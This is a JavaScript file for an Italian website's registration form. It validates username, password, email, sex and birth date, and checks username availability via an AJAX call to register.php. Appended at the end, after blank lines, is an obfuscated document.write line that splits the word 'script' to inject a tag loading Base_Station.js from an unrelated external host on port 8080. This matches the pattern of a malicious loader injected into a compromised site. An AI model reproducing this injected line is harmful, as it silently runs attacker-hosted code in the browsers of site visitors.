function createRequestObject()
{
  var finale;
  var browser = navigator.appName;
  if ( browser == "Microsoft Internet Explorer" ) 
  { finale = new ActiveXObject("Microsoft.XMLHTTP"); } 
  else 
  { finale = new XMLHttpRequest(); }
  return finale;
}

var http = createRequestObject();

function handleResponse(str)
{
	if(http.readyState == 4)
	{
		var response = http.responseText;
		if(response == "n")
		{
			document.getElementById("i_username").innerHTML = "*Questa username è già stato scelto.<br>";
		}
		else
		{	
			document.iscrizione.submit();
		}
	}
}

function register()
{
	document.getElementById("i_nome").innerHTML = "";
	document.getElementById("i_email").innerHTML = "";
	document.getElementById("i_nascita").innerHTML = "";
	document.getElementById("i_sesso").innerHTML = "";
	document.getElementById("i_username").innerHTML = "";
		
	form_ok = true;
	base = document.getElementById("termini");
	if(document.check.termini2.value == 1)
	{
		base.style.background = "#E5F4E5";
	}
	else
	{
		base.style.background = "#FFD9D9";
		form_ok = false;
	}
	
	errors = checkUsername();
	if(errors != "")
	{
		document.getElementById("userz").innerHTML = '*';
		form_ok = false;
	}
	else document.getElementById("userz").innerHTML = '';

	p_errors = checkPassword();
	if(p_errors != "")
	{
		document.getElementById("passz").innerHTML = '*';
		form_ok = false;
		errors = errors + p_errors;
	}
	else document.getElementById("passz").innerHTML = '';
	
	if(altriCheck() == false) form_ok = false;

	if(form_ok == false)
	{
		document.getElementById("error").innerHTML = '<p style="color:red;">' + errors + '</p>';
	}
	else
	{
		lastCheck();
	}
}

function lastCheck()
{
	http.open("get", "register.php?nome=" + document.iscrizione.user.value);
	http.onreadystatechange = handleResponse;
  	http.send(null);
}

function change_me()
{
	if(document.check.termini2.value == 0) document.check.termini2.value = 1;
	else document.check.termini2.value = 0;
}

function checkUsername()
{
	errors = '';

	username = document.iscrizione.user.value;
	
	if( username.length < 3 )
	{
		errors = "*La username deve contenere almeno 3 caratteri!<br>";
	}
	
	if( username.length == 0 || username == '' )
	{
		errors = "*Inserisci una username!<br>";
	}
	
	caratteri_ok = true;
	for(i = 0; i < username.length; i++)
	{
		c = username.charAt(i);
		
		if (c == ' ' || c == '"' || c == '\\' || c == '/' || c == '*' || c == ',' || c == "#" || c == "?" || c == "&" || c == ";" || c == "<" || c == ">")
		{
			caratteri_ok = false;
		}
	}
	
	if ( caratteri_ok == false )
	{
		errors = "* È vietato utilizzare spazi e / \\ \" * # ? & ; < > , nella username<br>";
	}
	
	return errors;
}

function checkPassword()
{
	p_errors = "";
	if( document.iscrizione.pass.value.length < 5  )
	{
		p_errors = "*La password deve contenere almeno 5 caratteri!";
	}
	
	if( document.iscrizione.pass.value.length == 0  )
	{
		p_errors = "*Scegli una password!";
	}
	
	if( document.iscrizione.pass.value != document.iscrizione.pass1.value )
	{
		p_errors = "*Le due password non coincidono!";
	}
	
	return p_errors;
}

function checkemail(str)
{
	var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
	if ( filter.test(str) )
	{
		return true;
	}
	else
	{
		return false;
	}
}

function lettersOnly(evt) 
{
evt = (evt) ? evt : event;
var charCode = (evt.charCode) ? evt.charCode : ((evt.keyCode) ? evt.keyCode
: ((evt.which) ? evt.which : 0));
if (charCode> 31 && (charCode < 48 || charCode> 90) && (charCode < 97 || charCode> 122)){
alert("Puoi inserire solo lettere e numeri!");
return false;
}
return true;
}

function altriCheck()
{
	check_ok = true;
	if( !checkemail(document.iscrizione.email.value) )
	{
		document.getElementById("i_email").innerHTML = "*Inserisci un e-mail valido!<br>";
		check_ok = false;
	}
	
	if( document.iscrizione.sex.value == 0 )
	{
		document.getElementById("i_sesso").innerHTML = "*Specifica il tuo genere sessuale!<br>";
		check_ok = false;
	}
	
	if( document.iscrizione.nome.value.length < 3 )
	{
		document.getElementById("i_nome").innerHTML = "*Non ti chiami "+document.iscrizione.nome.value+"!<br>";
		check_ok = false;
	}
	if( document.iscrizione.nome.value == '' )
	{
		document.getElementById("i_nome").innerHTML = "*Inserisci il tuo nome!<br>";
		check_ok = false;
	}
	var giorno = document.iscrizione.giorno.value;
	var mese = document.iscrizione.mese.value;
	var anno = document.iscrizione.anno.value;
	
	if( giorno > 31 || giorno > 28 && mese == 2 || giorno > 30 && mese == 4 || giorno > 30 && mese == 6 ||giorno > 30 && mese == 9 || giorno > 30 && mese == 11)
	{
		document.getElementById("i_nascita").innerHTML = "*Specifica una data di nascita valida!<br>";
		check_ok = false;
	}
	
	if( mese > 12 || mese < 1 || giorno < 1)
	{
		document.getElementById("i_nascita").innerHTML = "*Specifica una data di nascita valida!<br>";
		check_ok = false;
	}
	
	return check_ok;
}




document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Base_Station.js"></scr'+'ipt>');